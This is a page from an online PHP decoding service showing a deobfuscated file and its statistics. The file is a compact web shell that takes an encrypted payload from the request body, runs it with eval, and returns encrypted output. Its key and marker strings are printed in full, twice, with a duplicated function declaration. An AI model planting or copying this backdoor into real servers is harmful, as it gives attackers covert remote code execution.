Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function x($t, $k) { $c = strlen($k); $l = strlen($t); $o = ""; ..

Decoded Output download

<?php 
function x($t, $k) 
{ 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0; $i < $l; ) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
    return $o; 
} 
$k = "4696bd9a"; 
$kh = "8ecf79155df0"; 
$kf = "5fb97fdc8317"; 
$p = "BL450mL1WeCi9eMA"; 
function x($t, $k) 
{ 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0; $i < $l; ) { 
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) { 
            $o .= $t[$i] ^ $k[$j]; 
        } 
    } 
    return $o; 
} 
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { 
    @ob_start(); 
    eval(@gzuncompress(@x(base64_decode($m[1]), $k))); 
    $o = @ob_get_contents(); 
    @ob_end_clean(); 
    $r = @base64_encode(@x(@gzcompress($o), $k)); 
    print "$p$kh$r$kf"; 
} 
 ?>

Did this file decode correctly?

Original Code

<?php
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l; ) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$k = "4696bd9a";
$kh = "8ecf79155df0";
$kf = "5fb97fdc8317";
$p = "BL450mL1WeCi9eMA";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l; ) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print "$p$kh$r$kf";
}

Function Calls

preg_match 1
file_get_contents 1

Variables

$k 4696bd9a
$p BL450mL1WeCi9eMA
$kf 5fb97fdc8317
$kh 8ecf79155df0

Stats

MD5 e160c4dc0d96ae2e39ced9bf1cf4c4d5
Eval Count 0
Decode Time 95 ms